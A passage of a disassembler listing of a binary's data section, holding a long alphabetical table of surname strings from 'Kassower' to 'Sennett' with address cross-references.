aKassower	db 'Kassower',0         ; DATA XREF: .data:00445C58o
		align 10h
aKasten		db 'Kasten',0           ; DATA XREF: .data:00445C5Co
		align 4
aKawachi	db 'Kawachi',0          ; DATA XREF: .data:00445C60o
aKee		db 'Kee',0              ; DATA XREF: .data:00445C64o
aKeenan		db 'Keenan',0           ; DATA XREF: .data:00445C68o
		align 4
aKeepper	db 'Keepper',0          ; DATA XREF: .data:00445C6Co
aKeith		db 'Keith',0            ; DATA XREF: .data:00445C70o
		align 4
aKelker		db 'Kelker',0           ; DATA XREF: .data:00445C74o
		align 4
aKelsey		db 'Kelsey',0           ; DATA XREF: .data:00445C78o
		align 4
aKempton	db 'Kempton',0          ; DATA XREF: .data:00445C7Co
aKemsley	db 'Kemsley',0          ; DATA XREF: .data:00445C80o
aKendall	db 'Kendall',0          ; DATA XREF: .data:00445C84o
aKerry		db 'Kerry',0            ; DATA XREF: .data:00445C88o
		align 4
aKeul		db 'Keul',0             ; DATA XREF: .data:00445C8Co
		align 4
aKhong		db 'Khong',0            ; DATA XREF: .data:00445C90o
		align 4
aKimmel		db 'Kimmel',0           ; DATA XREF: .data:00445C94o
		align 4
aKimmett	db 'Kimmett',0          ; DATA XREF: .data:00445C98o
aKimura		db 'Kimura',0           ; DATA XREF: .data:00445C9Co
		align 4
aKindall	db 'Kindall',0          ; DATA XREF: .data:00445CA0o
aKinsley	db 'Kinsley',0          ; DATA XREF: .data:00445CA4o
aKippenberger	db 'Kippenberger',0     ; DATA XREF: .data:00445CA8o
		align 4
aKirscht	db 'Kirscht',0          ; DATA XREF: .data:00445CACo
aKittridge	db 'Kittridge',0        ; DATA XREF: .data:00445CB0o
		align 4
aKleckner	db 'Kleckner',0         ; DATA XREF: .data:00445CB4o
		align 4
aKleiman	db 'Kleiman',0          ; DATA XREF: .data:00445CB8o
aKleinfelder	db 'Kleinfelder',0      ; DATA XREF: .data:00445CBCo
aKlemperer	db 'Klemperer',0        ; DATA XREF: .data:00445CC0o
		align 4
aKling		db 'Kling',0            ; DATA XREF: .data:00445CC4o
		align 4
aKlinkenborg	db 'Klinkenborg',0      ; DATA XREF: .data:00445CC8o
aKlint		db 'Klint',0            ; DATA XREF: .data:00445CCCo
		align 10h
aKnuff		db 'Knuff',0            ; DATA XREF: .data:00445CD0o
		align 4
aKobrick	db 'Kobrick',0          ; DATA XREF: .data:00445CD4o
aKoch		db 'Koch',0             ; DATA XREF: .data:00445CD8o
		align 4
aKohn		db 'Kohn',0             ; DATA XREF: .data:00445CDCo
		align 10h
aKoivumaki	db 'Koivumaki',0        ; DATA XREF: .data:00445CE0o
		align 4
aKommer		db 'Kommer',0           ; DATA XREF: .data:00445CE4o
		align 4
aKoniaris	db 'Koniaris',0         ; DATA XREF: .data:00445CE8o
		align 10h
aKonrad		db 'Konrad',0           ; DATA XREF: .data:00445CECo
		align 4
aKool		db 'Kool',0             ; DATA XREF: .data:00445CF0o
		align 10h
aKorzybski	db 'Korzybski',0        ; DATA XREF: .data:00445CF4o
		align 4
aKotter		db 'Kotter',0           ; DATA XREF: .data:00445CF8o
		align 4
aKovaks		db 'Kovaks',0           ; DATA XREF: .data:00445CFCo
		align 4
aKraemer	db 'Kraemer',0          ; DATA XREF: .data:00445D00o
aKrailo		db 'Krailo',0           ; DATA XREF: .data:00445D04o
		align 4
aKrasney	db 'Krasney',0          ; DATA XREF: .data:00445D08o
aKraus		db 'Kraus',0            ; DATA XREF: .data:00445D0Co
		align 4
aKroemer	db 'Kroemer',0          ; DATA XREF: .data:00445D10o
aKrysiak	db 'Krysiak',0          ; DATA XREF: .data:00445D14o
aKuenzli	db 'Kuenzli',0          ; DATA XREF: .data:00445D18o
aKumar		db 'Kumar',0            ; DATA XREF: .data:00445D1Co
		align 4
aKusman		db 'Kusman',0           ; DATA XREF: .data:00445D20o
		align 4
aKuwabara	db 'Kuwabara',0         ; DATA XREF: .data:00445D24o
		align 10h
aLa		db 'La',0               ; DATA XREF: .data:00445D28o
		align 4
aLabunka	db 'Labunka',0          ; DATA XREF: .data:00445D2Co
aLafler		db 'Lafler',0           ; DATA XREF: .data:00445D30o
		align 4
aLaing		db 'Laing',0            ; DATA XREF: .data:00445D34o
		align 4
aLallemant	db 'Lallemant',0        ; DATA XREF: .data:00445D38o
		align 4
aLandes		db 'Landes',0           ; DATA XREF: .data:00445D3Co
		align 10h
aLankes		db 'Lankes',0           ; DATA XREF: .data:00445D40o
		align 4
aLantieri	db 'Lantieri',0         ; DATA XREF: .data:00445D44o
		align 4
aLanzit		db 'Lanzit',0           ; DATA XREF: .data:00445D48o
		align 4
aLaserna	db 'Laserna',0          ; DATA XREF: .data:00445D4Co
aLashley	db 'Lashley',0          ; DATA XREF: .data:00445D50o
aLawless	db 'Lawless',0          ; DATA XREF: .data:00445D54o
aLecar		db 'Lecar',0            ; DATA XREF: .data:00445D58o
		align 4
aLecce		db 'Lecce',0            ; DATA XREF: .data:00445D5Co
		align 4
aLeclercq	db 'Leclercq',0         ; DATA XREF: .data:00445D60o
		align 10h
aLeite		db 'Leite',0            ; DATA XREF: .data:00445D64o
		align 4
aLenard		db 'Lenard',0           ; DATA XREF: .data:00445D68o
		align 10h
aLEnclos	db 'l',27h,'Enclos',0   ; DATA XREF: .data:00445D6Co
		align 4
aLesser		db 'Lesser',0           ; DATA XREF: .data:00445D70o
		align 4
aLessi		db 'Lessi',0            ; DATA XREF: .data:00445D74o
		align 4
aLiakos		db 'Liakos',0           ; DATA XREF: .data:00445D78o
		align 4
aLidano		db 'Lidano',0           ; DATA XREF: .data:00445D7Co
		align 4
aLiem		db 'Liem',0             ; DATA XREF: .data:00445D80o
		align 4
aLight		db 'Light',0            ; DATA XREF: .data:00445D84o
		align 4
aLightfoot	db 'Lightfoot',0        ; DATA XREF: .data:00445D88o
		align 4
aLim		db 'Lim',0              ; DATA XREF: .data:00445D8Co
aLinares	db 'Linares',0          ; DATA XREF: .data:00445D90o
aLinda		db 'Linda',0            ; DATA XREF: .data:00445D94o
		align 4
aLinder		db 'Linder',0           ; DATA XREF: .data:00445D98o
		align 4
aLine_0		db 'Line',0             ; DATA XREF: .data:00445D9Co
		align 4
aLinehan	db 'Linehan',0          ; DATA XREF: .data:00445DA0o
aLinzee		db 'Linzee',0           ; DATA XREF: .data:00445DA4o
		align 4
aLippmann	db 'Lippmann',0         ; DATA XREF: .data:00445DA8o
		align 4
aLipponen	db 'Lipponen',0         ; DATA XREF: .data:00445DACo
		align 4
aLittle		db 'Little',0           ; DATA XREF: .data:00445DB0o
		align 4
aLitvak		db 'Litvak',0           ; DATA XREF: .data:00445DB4o
		align 4
aLivernash	db 'Livernash',0        ; DATA XREF: .data:00445DB8o
		align 10h
aLivi		db 'Livi',0             ; DATA XREF: .data:00445DBCo
		align 4
aLivolsi	db 'Livolsi',0          ; DATA XREF: .data:00445DC0o
aLizardo	db 'Lizardo',0          ; DATA XREF: .data:00445DC4o
aLocatelli	db 'Locatelli',0        ; DATA XREF: .data:00445DC8o
		align 4
aLongworth	db 'Longworth',0        ; DATA XREF: .data:00445DCCo
		align 10h
aLoss		db 'Loss',0             ; DATA XREF: .data:00445DD0o
		align 4
aLoveman	db 'Loveman',0          ; DATA XREF: .data:00445DD4o
aLowenstein	db 'Lowenstein',0       ; DATA XREF: .data:00445DD8o
		align 4
aLoza		db 'Loza',0             ; DATA XREF: .data:00445DDCo
		align 4
aLubin		db 'Lubin',0            ; DATA XREF: .data:00445DE0o
		align 4
aLucas		db 'Lucas',0            ; DATA XREF: .data:00445DE4o
		align 4
aLuciano	db 'Luciano',0          ; DATA XREF: .data:00445DE8o
aLuczkow	db 'Luczkow',0          ; DATA XREF: .data:00445DECo
aLuecke		db 'Luecke',0           ; DATA XREF: .data:00445DF0o
		align 4
aLunetta	db 'Lunetta',0          ; DATA XREF: .data:00445DF4o
aLuoma		db 'Luoma',0            ; DATA XREF: .data:00445DF8o
		align 4
aLussier	db 'Lussier',0          ; DATA XREF: .data:00445DFCo
aLutcavage	db 'Lutcavage',0        ; DATA XREF: .data:00445E00o
		align 10h
aLuzader	db 'Luzader',0          ; DATA XREF: .data:00445E04o
aMa		db 'Ma',0               ; DATA XREF: .data:00445E08o
		align 4
aMaccormac	db 'Maccormac',0        ; DATA XREF: .data:00445E0Co
		align 4
aMacdonald	db 'Macdonald',0        ; DATA XREF: .data:00445E10o
		align 4
aMaceachern	db 'Maceachern',0       ; DATA XREF: .data:00445E14o
		align 10h
aMacintyre	db 'Macintyre',0        ; DATA XREF: .data:00445E18o
		align 4
aMackenney	db 'Mackenney',0        ; DATA XREF: .data:00445E1Co
		align 4
aMacmillan	db 'MacMillan',0        ; DATA XREF: .data:00445E20o
		align 4
aMacy		db 'Macy',0             ; DATA XREF: .data:00445E24o
		align 4
aMadigan	db 'Madigan',0          ; DATA XREF: .data:00445E28o
aMaggio		db 'Maggio',0           ; DATA XREF: .data:00445E2Co
		align 4
aMahony		db 'Mahony',0           ; DATA XREF: .data:00445E30o
		align 4
aMaier		db 'Maier',0            ; DATA XREF: .data:00445E34o
		align 4
aMaineHershey	db 'Maine-Hershey',0    ; DATA XREF: .data:00445E38o
		align 4
aMaisano	db 'Maisano',0          ; DATA XREF: .data:00445E3Co
aMalatesta	db 'Malatesta',0        ; DATA XREF: .data:00445E40o
		align 10h
aMaller		db 'Maller',0           ; DATA XREF: .data:00445E44o
		align 4
aMalova		db 'Malova',0           ; DATA XREF: .data:00445E48o
		align 10h
aManalis	db 'Manalis',0          ; DATA XREF: .data:00445E4Co
aMandel		db 'Mandel',0           ; DATA XREF: .data:00445E50o
		align 10h
aManganiello	db 'Manganiello',0      ; DATA XREF: .data:00445E54o
aMantovan	db 'Mantovan',0         ; DATA XREF: .data:00445E58o
		align 4
aMarch_0	db 'March',0            ; DATA XREF: .data:00445E5Co
		align 10h
aMarchbanks	db 'Marchbanks',0       ; DATA XREF: .data:00445E60o
		align 4
aMarcus		db 'Marcus',0           ; DATA XREF: .data:00445E64o
		align 4
aMargalit	db 'Margalit',0         ; DATA XREF: .data:00445E68o
		align 10h
aMargetts	db 'Margetts',0         ; DATA XREF: .data:00445E6Co
		align 4
aMarques	db 'Marques',0          ; DATA XREF: .data:00445E70o
aMartinez	db 'Martinez',0         ; DATA XREF: .data:00445E74o
		align 10h
aMartochio	db 'Martochio',0        ; DATA XREF: .data:00445E78o
		align 4
aMarton		db 'Marton',0           ; DATA XREF: .data:00445E7Co
		align 4
aMarubini	db 'Marubini',0         ; DATA XREF: .data:00445E80o
		align 10h
aMass		db 'Mass',0             ; DATA XREF: .data:00445E84o
		align 4
aMatalka	db 'Matalka',0          ; DATA XREF: .data:00445E88o
aMatarazzo	db 'Matarazzo',0        ; DATA XREF: .data:00445E8Co
		align 4
aMatsukata	db 'Matsukata',0        ; DATA XREF: .data:00445E90o
		align 4
aMattson	db 'Mattson',0          ; DATA XREF: .data:00445E94o
aMauzy		db 'Mauzy',0            ; DATA XREF: .data:00445E98o
		align 4
aMay_0		db 'May',0              ; DATA XREF: .data:00445E9Co
aMazzali	db 'Mazzali',0          ; DATA XREF: .data:00445EA0o
aMazziotta	db 'Mazziotta',0        ; DATA XREF: .data:00445EA4o
		align 10h
aMcbride	db 'Mcbride',0          ; DATA XREF: .data:00445EA8o
aMccaffery	db 'Mccaffery',0        ; DATA XREF: .data:00445EACo
		align 4
aMccall		db 'Mccall',0           ; DATA XREF: .data:00445EB0o
		align 4
aMcclearn	db 'Mcclearn',0         ; DATA XREF: .data:00445EB4o
		align 4
aMcdowell	db 'Mcdowell',0         ; DATA XREF: .data:00445EB8o
		align 4
aMcelroy	db 'Mcelroy',0          ; DATA XREF: .data:00445EBCo
aMcfadden	db 'McFadden',0         ; DATA XREF: .data:00445EC0o
		align 4
aMcghee		db 'Mcghee',0           ; DATA XREF: .data:00445EC4o
		align 10h
aMcgoldrick	db 'Mcgoldrick',0       ; DATA XREF: .data:00445EC8o
		align 4
aMcilroy	db 'McIlroy',0          ; DATA XREF: .data:00445ECCo
aMcintosh	db 'Mcintosh',0         ; DATA XREF: .data:00445ED0o
		align 10h
aMckenna	db 'Mckenna',0          ; DATA XREF: .data:00445ED4o
aMclane		db 'Mclane',0           ; DATA XREF: .data:00445ED8o
		align 10h
aMclaren	db 'Mclaren',0          ; DATA XREF: .data:00445EDCo
aMcnealy	db 'Mcnealy',0          ; DATA XREF: .data:00445EE0o
aMcnulty	db 'Mcnulty',0          ; DATA XREF: .data:00445EE4o
aMeccariello	db 'Meccariello',0      ; DATA XREF: .data:00445EE8o
aMemisoglu	db 'Memisoglu',0        ; DATA XREF: .data:00445EECo
		align 10h
aMenzies	db 'Menzies',0          ; DATA XREF: .data:00445EF0o
aMerikoski	db 'Merikoski',0        ; DATA XREF: .data:00445EF4o
		align 4
aMerlani	db 'Merlani',0          ; DATA XREF: .data:00445EF8o
aMerminod	db 'Merminod',0         ; DATA XREF: .data:00445EFCo
		align 4
aMerseth	db 'Merseth',0          ; DATA XREF: .data:00445F00o
aMerz		db 'Merz',0             ; DATA XREF: .data:00445F04o
		align 4
aMetelka	db 'Metelka',0          ; DATA XREF: .data:00445F08o
aMetropolis	db 'Metropolis',0       ; DATA XREF: .data:00445F0Co
		align 4
aMeurer		db 'Meurer',0           ; DATA XREF: .data:00445F10o
		align 4
aMichelman	db 'Michelman',0        ; DATA XREF: .data:00445F14o
		align 10h
aMiddle		db 'Middle',0           ; DATA XREF: .data:00445F18o
		align 4
aMieher		db 'Mieher',0           ; DATA XREF: .data:00445F1Co
		align 10h
aMills		db 'Mills',0            ; DATA XREF: .data:00445F20o
		align 4
aMinh		db 'Minh',0             ; DATA XREF: .data:00445F24o
		align 10h
aMini		db 'Mini',0             ; DATA XREF: .data:00445F28o
		align 4
aMinichiello	db 'Minichiello',0      ; DATA XREF: .data:00445F2Co
aGonzalez	db 'Gonzalez',0         ; DATA XREF: .data:00445F30o
		align 10h
aMitropoulos	db 'Mitropoulos',0      ; DATA XREF: .data:00445F34o
aMittal		db 'Mittal',0           ; DATA XREF: .data:00445F38o
		align 4
aMocroft	db 'Mocroft',0          ; DATA XREF: .data:00445F3Co
aModestino	db 'Modestino',0        ; DATA XREF: .data:00445F40o
		align 4
aMoeller	db 'Moeller',0          ; DATA XREF: .data:00445F44o
aMohr		db 'Mohr',0             ; DATA XREF: .data:00445F48o
		align 4
aMoiamedi	db 'Moiamedi',0         ; DATA XREF: .data:00445F4Co
		align 4
aMonque		db 'Monque',0           ; DATA XREF: .data:00445F50o
		align 4
aMontilio	db 'Montilio',0         ; DATA XREF: .data:00445F54o
		align 4
aMooredech_	db 'MooreDeCh.',0       ; DATA XREF: .data:00445F58o
		align 4
aMorani		db 'Morani',0           ; DATA XREF: .data:00445F5Co
		align 4
aMoreton	db 'Moreton',0          ; DATA XREF: .data:00445F60o
aMorrison	db 'Morrison',0         ; DATA XREF: .data:00445F64o
		align 10h
aMorrow		db 'Morrow',0           ; DATA XREF: .data:00445F68o
		align 4
aMortimer	db 'Mortimer',0         ; DATA XREF: .data:00445F6Co
		align 4
aMosher		db 'Mosher',0           ; DATA XREF: .data:00445F70o
		align 4
aMosler		db 'Mosler',0           ; DATA XREF: .data:00445F74o
		align 4
aMostafavi	db 'Mostafavi',0        ; DATA XREF: .data:00445F78o
		align 10h
aMotooka	db 'Motooka',0          ; DATA XREF: .data:00445F7Co
aMudarri	db 'Mudarri',0          ; DATA XREF: .data:00445F80o
aMuello		db 'Muello',0           ; DATA XREF: .data:00445F84o
		align 4
aMugnai		db 'Mugnai',0           ; DATA XREF: .data:00445F88o
		align 10h
aMulkern	db 'Mulkern',0          ; DATA XREF: .data:00445F8Co
aMulroy		db 'Mulroy',0           ; DATA XREF: .data:00445F90o
		align 10h
aMumford	db 'Mumford',0          ; DATA XREF: .data:00445F94o
aMussachio	db 'Mussachio',0        ; DATA XREF: .data:00445F98o
		align 4
aNaddeo		db 'Naddeo',0           ; DATA XREF: .data:00445F9Co
		align 4
aNapolitano	db 'Napolitano',0       ; DATA XREF: .data:00445FA0o
		align 4
aNardi		db 'Nardi',0            ; DATA XREF: .data:00445FA4o
		align 10h
aNardone	db 'Nardone',0          ; DATA XREF: .data:00445FA8o
aNaviaux	db 'Naviaux',0          ; DATA XREF: .data:00445FACo
aNayduch	db 'Nayduch',0          ; DATA XREF: .data:00445FB0o
aNelson		db 'Nelson',0           ; DATA XREF: .data:00445FB4o
		align 10h
aNenna		db 'Nenna',0            ; DATA XREF: .data:00445FB8o
		align 4
aNesci		db 'Nesci',0            ; DATA XREF: .data:00445FBCo
		align 10h
aNeuman		db 'Neuman',0           ; DATA XREF: .data:00445FC0o
		align 4
aNewfeld	db 'Newfeld',0          ; DATA XREF: .data:00445FC4o
aNewlin		db 'Newlin',0           ; DATA XREF: .data:00445FC8o
		align 4
aNg		db 'Ng',0               ; DATA XREF: .data:00445FCCo
		align 4
aNi_0		db 'Ni',0               ; DATA XREF: .data:00445FD0o
		align 10h
aNickerson	db 'Nickerson',0        ; DATA XREF: .data:00445FD4o
		align 4
aNickoloff	db 'Nickoloff',0        ; DATA XREF: .data:00445FD8o
		align 4
aNisenson	db 'Nisenson',0         ; DATA XREF: .data:00445FDCo
		align 4
aNitabach	db 'Nitabach',0         ; DATA XREF: .data:00445FE0o
		align 10h
aNotman		db 'Notman',0           ; DATA XREF: .data:00445FE4o
		align 4
aNuzum		db 'Nuzum',0            ; DATA XREF: .data:00445FE8o
		align 10h
aOcougne	db 'Ocougne',0          ; DATA XREF: .data:00445FECo
aOgata		db 'Ogata',0            ; DATA XREF: .data:00445FF0o
		align 10h
aOh		db 'Oh',0               ; DATA XREF: .data:00445FF4o
		align 4
aOHagan		db 'O',27h,'hagan',0    ; DATA XREF: .data:00445FF8o
aOldford	db 'Oldford',0          ; DATA XREF: .data:00445FFCo
aOlsen		db 'Olsen',0            ; DATA XREF: .data:00446000o
		align 4
aOlson		db 'Olson',0            ; DATA XREF: .data:00446004o
		align 4
aOlszewski	db 'Olszewski',0        ; DATA XREF: .data:00446008o
		align 10h
aOMalley	db 'O',27h,'malley',0   ; DATA XREF: .data:0044600Co
		align 4
aOman		db 'Oman',0             ; DATA XREF: .data:00446010o
		align 4
aOMeara		db 'O',27h,'meara',0    ; DATA XREF: .data:00446014o
aOpel		db 'Opel',0             ; DATA XREF: .data:00446018o
		align 4
aOray		db 'Oray',0             ; DATA XREF: .data:0044601Co
		align 4
aOrfield	db 'Orfield',0          ; DATA XREF: .data:00446020o
aOrsi		db 'Orsi',0             ; DATA XREF: .data:00446024o
		align 4
aOspina		db 'Ospina',0           ; DATA XREF: .data:00446028o
		align 4
aOstrowski	db 'Ostrowski',0        ; DATA XREF: .data:0044602Co
		align 10h
aOttaviani	db 'Ottaviani',0        ; DATA XREF: .data:00446030o
		align 4
aOtten		db 'Otten',0            ; DATA XREF: .data:00446034o
		align 4
aOuchida	db 'Ouchida',0          ; DATA XREF: .data:00446038o
aOvid		db 'Ovid',0             ; DATA XREF: .data:0044603Co
		align 4
aPaesdealmeida	db 'PaesDealmeida',0    ; DATA XREF: .data:00446040o
		align 4
aPaine		db 'Paine',0            ; DATA XREF: .data:00446044o
		align 4
aPalayoor	db 'Palayoor',0         ; DATA XREF: .data:00446048o
		align 4
aPalepu		db 'Palepu',0           ; DATA XREF: .data:0044604Co
		align 10h
aPallara	db 'Pallara',0          ; DATA XREF: .data:00446050o
aPalmitesta	db 'Palmitesta',0       ; DATA XREF: .data:00446054o
		align 4
aPanadero	db 'Panadero',0         ; DATA XREF: .data:00446058o
		align 10h
aPanizzon	db 'Panizzon',0         ; DATA XREF: .data:0044605Co
		align 4
aPantilla	db 'Pantilla',0         ; DATA XREF: .data:00446060o
		align 4
aPaoletti	db 'Paoletti',0         ; DATA XREF: .data:00446064o
		align 4
aParmeggiani	db 'Parmeggiani',0      ; DATA XREF: .data:00446068o
aParris		db 'Parris',0           ; DATA XREF: .data:0044606Co
		align 4
aPartridge	db 'Partridge',0        ; DATA XREF: .data:00446070o
		align 4
aPascucci	db 'Pascucci',0         ; DATA XREF: .data:00446074o
		align 10h
aPatefield	db 'Patefield',0        ; DATA XREF: .data:00446078o
		align 4
aPatrick	db 'Patrick',0          ; DATA XREF: .data:0044607Co
aPattullo	db 'Pattullo',0         ; DATA XREF: .data:00446080o
		align 10h
aPavetti	db 'Pavetti',0          ; DATA XREF: .data:00446084o
aPavlon		db 'Pavlon',0           ; DATA XREF: .data:00446088o
		align 10h
aPawloski	db 'Pawloski',0         ; DATA XREF: .data:0044608Co
		align 4
aPaynter	db 'Paynter',0          ; DATA XREF: .data:00446090o
aPeabody	db 'Peabody',0          ; DATA XREF: .data:00446094o
aPearlberg	db 'Pearlberg',0        ; DATA XREF: .data:00446098o
		align 4
aPederson	db 'Pederson',0         ; DATA XREF: .data:0044609Co
		align 4
aPeishel	db 'Peishel',0          ; DATA XREF: .data:004460A0o
aPenny		db 'Penny',0            ; DATA XREF: .data:004460A4o
		align 4
aPereira	db 'Pereira',0          ; DATA XREF: .data:004460A8o
aPerko		db 'Perko',0            ; DATA XREF: .data:004460ACo
		align 4
aPerlak		db 'Perlak',0           ; DATA XREF: .data:004460B0o
		align 4
aPerlman	db 'Perlman',0          ; DATA XREF: .data:004460B4o
aPerna		db 'Perna',0            ; DATA XREF: .data:004460B8o
		align 4
aPerone		db 'Perone',0           ; DATA XREF: .data:004460BCo
		align 4
aPerrimon	db 'Perrimon',0         ; DATA XREF: .data:004460C0o
		align 10h
aPeters		db 'Peters',0           ; DATA XREF: .data:004460C4o
		align 4
aPetruzello	db 'Petruzello',0       ; DATA XREF: .data:004460C8o
		align 4
aPettibone	db 'Pettibone',0        ; DATA XREF: .data:004460CCo
		align 10h
aPettit		db 'Pettit',0           ; DATA XREF: .data:004460D0o
		align 4
aPfister	db 'Pfister',0          ; DATA XREF: .data:004460D4o
aPilbeam	db 'Pilbeam',0          ; DATA XREF: .data:004460D8o
aPinot		db 'Pinot',0            ; DATA XREF: .data:004460DCo
		align 10h
aPlancon	db 'Plancon',0          ; DATA XREF: .data:004460E0o
aPlant		db 'Plant',0            ; DATA XREF: .data:004460E4o
		align 10h
aPlasket	db 'Plasket',0          ; DATA XREF: .data:004460E8o
aPlous		db 'Plous',0            ; DATA XREF: .data:004460ECo
		align 10h
aPo		db 'Po',0               ; DATA XREF: .data:004460F0o
		align 4
aPocobene	db 'Pocobene',0         ; DATA XREF: .data:004460F4o
		align 10h
aPoincaire	db 'Poincaire',0        ; DATA XREF: .data:004460F8o
		align 4
aPointer	db 'Pointer',0          ; DATA XREF: .data:004460FCo
aPoirier	db 'Poirier',0          ; DATA XREF: .data:00446100o
aPolak		db 'Polak',0            ; DATA XREF: .data:00446104o
		align 4
aPolanyi	db 'Polanyi',0          ; DATA XREF: .data:00446108o
aPolitis	db 'Politis',0          ; DATA XREF: .data:0044610Co
aPoma		db 'Poma',0             ; DATA XREF: .data:00446110o
		align 4
aPoolman	db 'Poolman',0          ; DATA XREF: .data:00446114o
aPowers		db 'Powers',0           ; DATA XREF: .data:00446118o
		align 4
aPresper	db 'Presper',0          ; DATA XREF: .data:0044611Co
aPreucel	db 'Preucel',0          ; DATA XREF: .data:00446120o
aPrevost	db 'Prevost',0          ; DATA XREF: .data:00446124o
aPritchard	db 'Pritchard',0        ; DATA XREF: .data:00446128o
		align 10h
aPritz		db 'Pritz',0            ; DATA XREF: .data:0044612Co
		align 4
aProietti	db 'Proietti',0         ; DATA XREF: .data:00446130o
		align 4
aProthrowStith	db 'Prothrow-Stith',0   ; DATA XREF: .data:00446134o
		align 4
aPuccia		db 'Puccia',0           ; DATA XREF: .data:00446138o
		align 4
aPugh		db 'Pugh',0             ; DATA XREF: .data:0044613Co
		align 4
aPynchon	db 'Pynchon',0          ; DATA XREF: .data:00446140o
aQuaday		db 'Quaday',0           ; DATA XREF: .data:00446144o
		align 4
aQuetin		db 'Quetin',0           ; DATA XREF: .data:00446148o
		align 4
aRabe		db 'Rabe',0             ; DATA XREF: .data:0044614Co
		align 4
aRabkin		db 'Rabkin',0           ; DATA XREF: .data:00446150o
		align 4
aRadeke		db 'Radeke',0           ; DATA XREF: .data:00446154o
		align 4
aRajagopalan	db 'Rajagopalan',0      ; DATA XREF: .data:00446158o
aRaney		db 'Raney',0            ; DATA XREF: .data:0044615Co
		align 4
aRangan		db 'Rangan',0           ; DATA XREF: .data:00446160o
		align 10h
aRankin		db 'Rankin',0           ; DATA XREF: .data:00446164o
		align 4
aRapple		db 'Rapple',0           ; DATA XREF: .data:00446168o
		align 10h
aRayport	db 'Rayport',0          ; DATA XREF: .data:0044616Co
aReddenTyler	db 'Redden-Tyler',0     ; DATA XREF: .data:00446170o
		align 4
aReedquist	db 'Reedquist',0        ; DATA XREF: .data:00446174o
		align 4
aCunningham	db 'Cunningham',0       ; DATA XREF: .data:00446178o
		align 10h
aReinold	db 'Reinold',0          ; DATA XREF: .data:0044617Co
aRemak		db 'Remak',0            ; DATA XREF: .data:00446180o
		align 10h
aRenick		db 'Renick',0           ; DATA XREF: .data:00446184o
		align 4
aRepetto	db 'Repetto',0          ; DATA XREF: .data:00446188o
aResnik		db 'Resnik',0           ; DATA XREF: .data:0044618Co
		align 4
aRhea		db 'Rhea',0             ; DATA XREF: .data:00446190o
		align 10h
aRichmond	db 'Richmond',0         ; DATA XREF: .data:00446194o
		align 4
aRielly		db 'Rielly',0           ; DATA XREF: .data:00446198o
		align 4
aRindos		db 'Rindos',0           ; DATA XREF: .data:0044619Co
		align 4
aRineer		db 'Rineer',0           ; DATA XREF: .data:004461A0o
		align 4
aRish		db 'Rish',0             ; DATA XREF: .data:004461A4o
		align 4
aRivera		db 'Rivera',0           ; DATA XREF: .data:004461A8o
		align 4
aRobinson	db 'Robinson',0         ; DATA XREF: .data:004461ACo
		align 10h
aRocha		db 'Rocha',0            ; DATA XREF: .data:004461B0o
		align 4
aRoesler	db 'Roesler',0          ; DATA XREF: .data:004461B4o
aRogers		db 'Rogers',0           ; DATA XREF: .data:004461B8o
		align 4
aRonen		db 'Ronen',0            ; DATA XREF: .data:004461BCo
		align 10h
aRow		db 'Row',0              ; DATA XREF: .data:004461C0o
aRoyal		db 'Royal',0            ; DATA XREF: .data:004461C4o
		align 4
aRu		db 'Ru',0               ; DATA XREF: .data:004461C8o
		align 10h
aRuan		db 'Ruan',0             ; DATA XREF: .data:004461CCo
		align 4
aRuderman	db 'Ruderman',0         ; DATA XREF: .data:004461D0o
		align 4
aRuescher	db 'Ruescher',0         ; DATA XREF: .data:004461D4o
		align 10h
aRush		db 'Rush',0             ; DATA XREF: .data:004461D8o
		align 4
aRyu		db 'Ryu',0              ; DATA XREF: .data:004461DCo
aSabatello	db 'Sabatello',0        ; DATA XREF: .data:004461E0o
		align 4
aSadler		db 'Sadler',0           ; DATA XREF: .data:004461E4o
		align 10h
aSafire		db 'Safire',0           ; DATA XREF: .data:004461E8o
		align 4
aSahu		db 'Sahu',0             ; DATA XREF: .data:004461ECo
		align 10h
aSali		db 'Sali',0             ; DATA XREF: .data:004461F0o
		align 4
aSamson		db 'Samson',0           ; DATA XREF: .data:004461F4o
		align 10h
aSanchezRamirez	db 'Sanchez-Ramirez',0  ; DATA XREF: .data:004461F8o
aSanna		db 'Sanna',0            ; DATA XREF: .data:004461FCo
		align 4
aSapers		db 'Sapers',0           ; DATA XREF: .data:00446200o
		align 10h
aSarin		db 'Sarin',0            ; DATA XREF: .data:00446204o
		align 4
aSartore	db 'Sartore',0          ; DATA XREF: .data:00446208o
aSase		db 'Sase',0             ; DATA XREF: .data:0044620Co
		align 4
aSatin		db 'Satin',0            ; DATA XREF: .data:00446210o
		align 10h
aSatta		db 'Satta',0            ; DATA XREF: .data:00446214o
		align 4
aSatterthwaite	db 'Satterthwaite',0    ; DATA XREF: .data:00446218o
		align 4
aSawtell	db 'Sawtell',0          ; DATA XREF: .data:0044621Co
aSayied		db 'Sayied',0           ; DATA XREF: .data:00446220o
		align 4
aScarponi	db 'Scarponi',0         ; DATA XREF: .data:00446224o
		align 4
aScepan		db 'Scepan',0           ; DATA XREF: .data:00446228o
		align 4
aScharf		db 'Scharf',0           ; DATA XREF: .data:0044622Co
		align 4
aScharlemann	db 'Scharlemann',0      ; DATA XREF: .data:00446230o
aScheiner	db 'Scheiner',0         ; DATA XREF: .data:00446234o
		align 4
aSchiano	db 'Schiano',0          ; DATA XREF: .data:00446238o
aSchifini	db 'Schifini',0         ; DATA XREF: .data:0044623Co
		align 10h
aSchilling	db 'Schilling',0        ; DATA XREF: .data:00446240o
		align 4
aSchmitt	db 'Schmitt',0          ; DATA XREF: .data:00446244o
aSchossberger	db 'Schossberger',0     ; DATA XREF: .data:00446248o
		align 4
aSchuman	db 'Schuman',0          ; DATA XREF: .data:0044624Co
aSchutte	db 'Schutte',0          ; DATA XREF: .data:00446250o
aSchuyler	db 'Schuyler',0         ; DATA XREF: .data:00446254o
		align 10h
aSchwan		db 'Schwan',0           ; DATA XREF: .data:00446258o
		align 4
aSchwickrath	db 'Schwickrath',0      ; DATA XREF: .data:0044625Co
aScovel		db 'Scovel',0           ; DATA XREF: .data:00446260o
		align 4
aScudder	db 'Scudder',0          ; DATA XREF: .data:00446264o
aSeaton		db 'Seaton',0           ; DATA XREF: .data:00446268o
		align 4
aSeeber		db 'Seeber',0           ; DATA XREF: .data:0044626Co
		align 4
aSegal		db 'Segal',0            ; DATA XREF: .data:00446270o
		align 4
aSekler		db 'Sekler',0           ; DATA XREF: .data:00446274o
		align 4
aSelvage	db 'Selvage',0          ; DATA XREF: .data:00446278o
aSen		db 'Sen',0              ; DATA XREF: .data:0044627Co
aSennett	db 'Sennett',0          ; DATA XREF: .data:00446280o
